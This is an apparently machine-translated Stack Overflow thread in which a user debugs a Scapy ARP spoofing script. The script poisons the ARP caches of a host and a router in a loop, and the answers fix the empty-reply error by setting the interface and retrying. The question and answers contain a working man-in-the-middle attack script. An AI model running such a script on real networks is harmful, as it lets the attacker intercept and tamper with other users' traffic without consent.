我试图编写一个基本的arp仿冒程序,我在网上找到了一个教程。因此,我编写了arpSpoofer的基本入门代码,但当我执行它时,会抛出一个IndexError: list索引,从range...Im中删除,肯定我在代码上犯了一个愚蠢的错误,但我真的找不到它,我已经尝试了好几个小时。守则是:
import scapy.all as scapy
from scapy import *
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("192.168.1.79", "192.168.1.1")
spoof("192.168.1.1", "192.168.1.79")该错误消息是:
Traceback (most recent call last):
File "arp_spoof.py", line 26, in <module>
spoof("192.168.1.79", "192.168.1.1")
File "arp_spoof.py", line 18, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 15, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range我希望能提前得到一些help...Thanks!:)
发布于 2020-04-10 16:20:21
事实上,answered_list必须是空的。在尝试提取碎片之前,您应该检查一下这种情况。
您可能需要告诉Scapy使用特定的接口或调整您的路由规则。将iface参数添加到srp函数中。在Linux上,这类似于'eth0‘或'enp1s0’。在Windows上,这将是有意义的接口名称,比如‘1’之类的。
您可以在替罪羊中键入conf.iface以检查默认接口。通常,默认情况下选择的是错误的。很有可能,这就是为什么你有一个空名单。
我只想说一句:这是重复:
import scapy.all as scapy
from scapy import *从模块或包导入*的实践通常不是很好的实践,原因如下:为什么在Python中导入星星是个坏主意
以下是不应该使用
import *的一些要点:
import *在您自己的命名空间中导入可能与您定义的函数和类或可能导入的其他库的函数和类冲突的所有函数和类。最好是进口你需要的东西。
from scapy.all import srp,send,ARP发布于 2021-05-18 11:57:19
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")
for i in ans:
print(i[1].psrc, i[1].hwsrc)发布于 2022-01-03 09:10:09
我更改了get_mac函数如下,以确保mac不是空的
def get_mac(ip):
mac = "xx"
while mac == "xx":
try:
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
mac = answered_list[0][1].hwsrc
# print(mac)
except:
pass
finally:
return machttps://stackoverflow.com/questions/61126068
复制相似问题